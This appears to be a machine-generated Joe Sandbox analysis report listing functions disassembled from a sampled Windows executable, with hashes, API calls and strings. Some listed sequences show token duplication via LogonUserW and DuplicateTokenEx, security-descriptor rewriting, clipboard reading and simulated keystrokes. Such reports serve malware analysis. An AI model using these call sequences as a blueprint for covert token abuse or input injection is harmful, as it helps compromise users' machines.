Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: 2d788c34dbaf42e6e961892ce7b5ab585abaa627586c97b5c840e2d72fd3424b
Instruction ID: bdfd651e4d60a31dd48fef0cb9aadd6f35e63002520f900deed75b734904c8bd
Opcode Fuzzy Hash: 2d788c34dbaf42e6e961892ce7b5ab585abaa627586c97b5c840e2d72fd3424b
Instruction Fuzzy Hash: DDF0A7709183049FEB529B24DC497D57BFCBB01708F0001E9A24897191E7705B88CF41

Function 008E2DA5 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 008E2DC4

Part of subcall function 008E6B57: _wcslen.LIBCMT ref: 008E6B6A

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: LongNamePath_wcslen
String ID:
API String ID: 541455249-0
Opcode ID: 6de7f2b415c3557f34796a73351ae0f1800bde45458397852044a18c8d4481e3
Instruction ID: 13802ecb18c35bd67c5232ebfa84e1d4e3c7560424a0c3fdd0aab5e663a6726a
Opcode Fuzzy Hash: 6de7f2b415c3557f34796a73351ae0f1800bde45458397852044a18c8d4481e3
Instruction Fuzzy Hash: 7EE0CD726041245BC71092589C05FDA77DDEFC87D0F040075FD09D7258DA60EDC08551

Function 008E2B3D Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 008E3837: Shell_NotifyIconW.SHELL32(00000000,?), ref: 008E3908

Part of subcall function 008ED730: GetInputState.USER32 ref: 008ED807

SetCurrentDirectoryW.KERNEL32(?), ref: 008E2B6B

Part of subcall function 008E30F2: Shell_NotifyIconW.SHELL32(00000002,?), ref: 008E314E

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: IconNotifyShell_$CurrentDirectoryInputState
String ID:
API String ID: 3667716007-0
Opcode ID: b57844d0406a240c9ad8150716090f6c8a7fec5b8effec8757920dc7eee9068e
Instruction ID: fe90da762833e17b94a52b9526af4db108ef09596f1607f93f2e385b3f0e9d99
Opcode Fuzzy Hash: b57844d0406a240c9ad8150716090f6c8a7fec5b8effec8757920dc7eee9068e
Instruction Fuzzy Hash: 0BE0DF2230828402C604BB2AA82A5ADA34AEBD3321F80053EF092C3172CE2049894213

Function 0092039A Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,00920704,?,?,00000000,?,00920704,00000000,0000000C), ref: 009203B7

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 23d56db177c32b5e78b96f0b89fbd678b0cc3da2375502f27194c18e6b2fe9c1
Instruction ID: ca51e2242a9ba4596f7ea85d6db6aeccfe885bf89c32f0bbdc503813700dc767
Opcode Fuzzy Hash: 23d56db177c32b5e78b96f0b89fbd678b0cc3da2375502f27194c18e6b2fe9c1
Instruction Fuzzy Hash: 8CD06C3205410DBBDF028F84DD06EDA3BAAFB48714F014050BE1856020C732E861AB90

Function 008E1CAD Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00002001,00000000,00000002), ref: 008E1CBC

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: InfoParametersSystem
String ID:
API String ID: 3098949447-0
Opcode ID: bd322b9f4781a78235aacfa149bd94f55be3f84a0d6e011b67cb6d739b3dffba
Instruction ID: 74923f206605c51bd60fe1e2105ea1e383ee658d0192f30e55ccf7ab100116ee
Opcode Fuzzy Hash: bd322b9f4781a78235aacfa149bd94f55be3f84a0d6e011b67cb6d739b3dffba
Instruction Fuzzy Hash: 39C09B3629C3049FF3144780BD5EF107754E348B10F444101F60D555E3D3E22450F750

Non-executed Functions

Function 00979576 Relevance: 72.4, APIs: 39, Strings: 2, Instructions: 625windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 008F9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 008F9BB2

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 0097961A
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0097965B
GetWindowLongW.USER32(FFFFFDD9,000000F0), ref: 0097969F
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 009796C9
SendMessageW.USER32 ref: 009796F2
GetKeyState.USER32(00000011), ref: 0097978B
GetKeyState.USER32(00000009), ref: 00979798
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 009797AE
GetKeyState.USER32(00000010), ref: 009797B8
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 009797E9
SendMessageW.USER32 ref: 00979810
SendMessageW.USER32(?,00001030,?,00977E95), ref: 00979918
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 0097992E
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 00979941
SetCapture.USER32(?), ref: 0097994A
ClientToScreen.USER32(?,?), ref: 009799AF
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 009799BC
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 009799D6
ReleaseCapture.USER32 ref: 009799E1
GetCursorPos.USER32(?), ref: 00979A19
ScreenToClient.USER32(?,?), ref: 00979A26
SendMessageW.USER32(?,00001012,00000000,?), ref: 00979A80
SendMessageW.USER32 ref: 00979AAE
SendMessageW.USER32(?,00001111,00000000,?), ref: 00979AEB
SendMessageW.USER32 ref: 00979B1A
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 00979B3B
SendMessageW.USER32(?,0000110B,00000009,?), ref: 00979B4A
GetCursorPos.USER32(?), ref: 00979B68
ScreenToClient.USER32(?,?), ref: 00979B75
GetParent.USER32(?), ref: 00979B93
SendMessageW.USER32(?,00001012,00000000,?), ref: 00979BFA
SendMessageW.USER32 ref: 00979C2B
ClientToScreen.USER32(?,?), ref: 00979C84
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 00979CB4
SendMessageW.USER32(?,00001111,00000000,?), ref: 00979CDE
SendMessageW.USER32 ref: 00979D01
ClientToScreen.USER32(?,?), ref: 00979D4E
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 00979D82

Part of subcall function 008F9944: GetWindowLongW.USER32(?,000000EB), ref: 008F9952

GetWindowLongW.USER32(?,000000F0), ref: 00979E05

Strings

F, xrefs: 00979D07
@GUI_DRAGID, xrefs: 0097997D

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease
String ID: @GUI_DRAGID$F
API String ID: 3429851547-4164748364
Opcode ID: 12d72473ad76ab484c8e0f0709cc9ffd1236096c8582bbb16a9d0426b2a4cd77
Instruction ID: e019a6dcb2e108706d1d2e8040a9117aa28c5f2e469d63916f2fdb9115613a5d
Opcode Fuzzy Hash: 12d72473ad76ab484c8e0f0709cc9ffd1236096c8582bbb16a9d0426b2a4cd77
Instruction Fuzzy Hash: 07429F72208241AFD724CF28CC84EAABBE9FF49724F14861DF69D872A1D731E850DB51

Function 008FF98E Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 130keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,00000000,00000000), ref: 008FF998
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0093F474
IsIconic.USER32(00000000), ref: 0093F47D
ShowWindow.USER32(00000000,00000009), ref: 0093F48A
SetForegroundWindow.USER32(00000000), ref: 0093F494
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0093F4AA
GetCurrentThreadId.KERNEL32 ref: 0093F4B1
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0093F4BD
AttachThreadInput.USER32(?,00000000,00000001), ref: 0093F4CE
AttachThreadInput.USER32(?,00000000,00000001), ref: 0093F4D6
AttachThreadInput.USER32(00000000,000000FF,00000001), ref: 0093F4DE
SetForegroundWindow.USER32(00000000), ref: 0093F4E1
MapVirtualKeyW.USER32(00000012,00000000), ref: 0093F4F6
keybd_event.USER32(00000012,00000000), ref: 0093F501
MapVirtualKeyW.USER32(00000012,00000000), ref: 0093F50B
keybd_event.USER32(00000012,00000000), ref: 0093F510
MapVirtualKeyW.USER32(00000012,00000000), ref: 0093F519
keybd_event.USER32(00000012,00000000), ref: 0093F51E
MapVirtualKeyW.USER32(00000012,00000000), ref: 0093F528
keybd_event.USER32(00000012,00000000), ref: 0093F52D
SetForegroundWindow.USER32(00000000), ref: 0093F530
AttachThreadInput.USER32(?,000000FF,00000000), ref: 0093F557

Strings

Shell_TrayWnd, xrefs: 0093F46F

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: d320d4174f145755e38b8fe2960bd7909d99b7ede16ccf82983d3571542e674a
Instruction ID: b1bd0d4e5a3bbf9f520df1b4909ad01dd5e1fdb025e210e326d5bef981a8d6da
Opcode Fuzzy Hash: d320d4174f145755e38b8fe2960bd7909d99b7ede16ccf82983d3571542e674a
Instruction Fuzzy Hash: F73154B2E54218BBEB206BB55C4AFBF7E6CEB44B50F100469F605EA1D1C6B15D40BE60

Function 00941201 Relevance: 38.7, APIs: 19, Strings: 3, Instructions: 241COMMON

Download Yara Rule

APIs

Part of subcall function 009416C3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0094170D
Part of subcall function 009416C3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 0094173A
Part of subcall function 009416C3: GetLastError.KERNEL32 ref: 0094174A

LogonUserW.ADVAPI32(?,?,?,00000000,00000000,?), ref: 00941286
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?), ref: 009412A8
CloseHandle.KERNEL32(?), ref: 009412B9
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 009412D1
GetProcessWindowStation.USER32 ref: 009412EA
SetProcessWindowStation.USER32(00000000), ref: 009412F4
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00941310

Part of subcall function 009410BF: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,009411FC), ref: 009410D4
Part of subcall function 009410BF: CloseHandle.KERNEL32(?,?,009411FC), ref: 009410E9

Strings

winsta0, xrefs: 009412CC
default, xrefs: 0094130B
, xrefs: 0094125A

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLogonLookupPrivilegeUserValue
String ID: $default$winsta0
API String ID: 22674027-1027155976
Opcode ID: 29d641e6e383d312770f946851613057144180b39f5edda17d40703dfca93a0b
Instruction ID: 58698ff75fdb97ed078b3c8e341eb587243f3ff4aff9026a33b1df1472d30973
Opcode Fuzzy Hash: 29d641e6e383d312770f946851613057144180b39f5edda17d40703dfca93a0b
Instruction Fuzzy Hash: 00819AB2A00209AFDF209FA4DC49FEE7BBDEF44704F144129FA14E62A0D7349984DB65

Function 00940B62 Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 009410F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00941114
Part of subcall function 009410F9: GetLastError.KERNEL32(?,00000000,00000000,?,?,00940B9B,?,?,?), ref: 00941120
Part of subcall function 009410F9: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00940B9B,?,?,?), ref: 0094112F
Part of subcall function 009410F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00940B9B,?,?,?), ref: 00941136
Part of subcall function 009410F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 0094114D

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00940BCC
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00940C00
GetLengthSid.ADVAPI32(?), ref: 00940C17
GetAce.ADVAPI32(?,00000000,?), ref: 00940C51
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00940C6D
GetLengthSid.ADVAPI32(?), ref: 00940C84
GetProcessHeap.KERNEL32(00000008,00000008), ref: 00940C8C
HeapAlloc.KERNEL32(00000000), ref: 00940C93
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00940CB4
CopySid.ADVAPI32(00000000), ref: 00940CBB
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00940CEA
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00940D0C
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00940D1E
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00940D45
HeapFree.KERNEL32(00000000), ref: 00940D4C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00940D55
HeapFree.KERNEL32(00000000), ref: 00940D5C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00940D65
HeapFree.KERNEL32(00000000), ref: 00940D6C
GetProcessHeap.KERNEL32(00000000,?), ref: 00940D78
HeapFree.KERNEL32(00000000), ref: 00940D7F

Part of subcall function 00941193: GetProcessHeap.KERNEL32(00000008,00940BB1,?,00000000,?,00940BB1,?), ref: 009411A1
Part of subcall function 00941193: HeapAlloc.KERNEL32(00000000,?,00000000,?,00940BB1,?), ref: 009411A8
Part of subcall function 00941193: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,00940BB1,?), ref: 009411B7

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: bde58ccd98b4c9fcfd621da9ac379409994c1109fd24a15bac70298f654c8276
Instruction ID: bd1159240d0415ea3bd1097e988bec0e61d8e110279b4679fb9d4f49d495d3cf
Opcode Fuzzy Hash: bde58ccd98b4c9fcfd621da9ac379409994c1109fd24a15bac70298f654c8276
Instruction Fuzzy Hash: 44716EB290420AABDF10DFE4DC45FAEBBBCBF84300F044529EA18A7191D771A945CBA0

Function 0095EAFF Relevance: 30.2, APIs: 20, Instructions: 191clipboardfileCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(0097CC08), ref: 0095EB29
IsClipboardFormatAvailable.USER32(0000000D), ref: 0095EB37
GetClipboardData.USER32(0000000D), ref: 0095EB43
CloseClipboard.USER32 ref: 0095EB4F
GlobalLock.KERNEL32(00000000), ref: 0095EB87
CloseClipboard.USER32 ref: 0095EB91
GlobalUnlock.KERNEL32(00000000), ref: 0095EBBC
IsClipboardFormatAvailable.USER32(00000001), ref: 0095EBC9
GetClipboardData.USER32(00000001), ref: 0095EBD1
GlobalLock.KERNEL32(00000000), ref: 0095EBE2
GlobalUnlock.KERNEL32(00000000), ref: 0095EC22
IsClipboardFormatAvailable.USER32(0000000F), ref: 0095EC38
GetClipboardData.USER32(0000000F), ref: 0095EC44
GlobalLock.KERNEL32(00000000), ref: 0095EC55
DragQueryFileW.SHELL32(00000000,000000FF,00000000,00000000), ref: 0095EC77
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 0095EC94
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 0095ECD2
GlobalUnlock.KERNEL32(00000000), ref: 0095ECF3
CountClipboardFormats.USER32 ref: 0095ED14
CloseClipboard.USER32 ref: 0095ED59

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Clipboard$Global$AvailableCloseDataDragFileFormatLockQueryUnlock$CountFormatsOpen
String ID:
API String ID: 420908878-0
Opcode ID: c1e22c477e6c303bd30532d51c41976f01306c200b4adf181fa3ba9cf2560b9b
Instruction ID: aeede31ff343e18d112ee79684afe52225fe84e8a679869ef18ae32dbe32cce2
Opcode Fuzzy Hash: c1e22c477e6c303bd30532d51c41976f01306c200b4adf181fa3ba9cf2560b9b
Instruction Fuzzy Hash: 7761D1752082029FD304EF26D889F2A77A8FF84705F14451DF85AC72A2DB72DE49DB62

Function 0095698F Relevance: 21.4, APIs: 7, Strings: 5, Instructions: 363timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 009569BE
FindClose.KERNEL32(00000000), ref: 00956A12
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00956A4E
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00956A75

Part of subcall function 008E9CB3: _wcslen.LIBCMT ref: 008E9CBD

FileTimeToSystemTime.KERNEL32(?,?), ref: 00956AB2
FileTimeToSystemTime.KERNEL32(?,?), ref: 00956ADF

Strings

%4d%02d%02d%02d%02d%02d%03d, xrefs: 00956B32
%03d, xrefs: 00956DA2
%4d%02d%02d%02d%02d%02d, xrefs: 00956B6A
%4d, xrefs: 00956BB1
%02d, xrefs: 00956C00, 00956C0A, 00956C5A, 00956CAA, 00956CFA, 00956D4A

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Time$File$FindLocalSystem$CloseFirst_wcslen
String ID: %02d$%03d$%4d$%4d%02d%02d%02d%02d%02d$%4d%02d%02d%02d%02d%02d%03d
API String ID: 3830820486-3289030164
Opcode ID: 7cecf4b84e751917be0963f7198a373aed9ef64537de33859dced6f7fbe21b89
Instruction ID: d0fe218a08402e98e54c4fbe6c4ce9498ea3d8539b023c952c8c45a03cdc0d86
Opcode Fuzzy Hash: 7cecf4b84e751917be0963f7198a373aed9ef64537de33859dced6f7fbe21b89
Instruction Fuzzy Hash: 30D13E72508340AAC710EBA5C882EABB7ECFF99704F44491DF995C7191EB74DA48CB63

Function 00959642 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 118fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,75918FB0,?,00000000), ref: 00959663
GetFileAttributesW.KERNEL32(?), ref: 009596A1
SetFileAttributesW.KERNEL32(?,?), ref: 009596BB
FindNextFileW.KERNEL32(00000000,?), ref: 009596D3
FindClose.KERNEL32(00000000), ref: 009596DE
FindFirstFileW.KERNEL32(*.*,?), ref: 009596FA
SetCurrentDirectoryW.KERNEL32(?), ref: 0095974A
SetCurrentDirectoryW.KERNEL32(009A6B7C), ref: 00959768
FindNextFileW.KERNEL32(00000000,00000010), ref: 00959772
FindClose.KERNEL32(00000000), ref: 0095977F
FindClose.KERNEL32(00000000), ref: 0095978F

Strings

*.*, xrefs: 009596F5

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1409584000-438819550
Opcode ID: 4a11ba880ceeab6e14cbd301e1e14c73f4c2072deba920c9b76d2059c49faf74
Instruction ID: 61c15a592e8d60cc891b812a3733ed554f0df105fecf5787d3edd42ab2b228c2
Opcode Fuzzy Hash: 4a11ba880ceeab6e14cbd301e1e14c73f4c2072deba920c9b76d2059c49faf74
Instruction Fuzzy Hash: 3D311772505209AEEF10EFB5EC08ADE37AC9F49321F14405AFC18E2190DB30DE888F60

Function 0095979D Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,75918FB0,?,00000000), ref: 009597BE
FindNextFileW.KERNEL32(00000000,?), ref: 00959819
FindClose.KERNEL32(00000000), ref: 00959824
FindFirstFileW.KERNEL32(*.*,?), ref: 00959840
SetCurrentDirectoryW.KERNEL32(?), ref: 00959890
SetCurrentDirectoryW.KERNEL32(009A6B7C), ref: 009598AE
FindNextFileW.KERNEL32(00000000,00000010), ref: 009598B8
FindClose.KERNEL32(00000000), ref: 009598C5
FindClose.KERNEL32(00000000), ref: 009598D5

Part of subcall function 0094DAE5: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 0094DB00

Strings

*.*, xrefs: 0095983B

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 2640511053-438819550
Opcode ID: 69c100de46831065ee1dd4dbfc851c83c3b52820cdc99ae6dab96377552da277
Instruction ID: 1257e51883a36b248935a73b589cce0ecf9f4c96ab5c2d0f26f4b80fb805df6b
Opcode Fuzzy Hash: 69c100de46831065ee1dd4dbfc851c83c3b52820cdc99ae6dab96377552da277
Instruction Fuzzy Hash: 7131F272505219AEEF10EFB5EC48ADE37ACDF46325F144169ED18A21D0DB30DA88DB60

Function 00958195 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 186timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00958257
SystemTimeToFileTime.KERNEL32(?,?), ref: 00958267
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00958273
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00958310
SetCurrentDirectoryW.KERNEL32(?), ref: 00958324
SetCurrentDirectoryW.KERNEL32(?), ref: 00958356
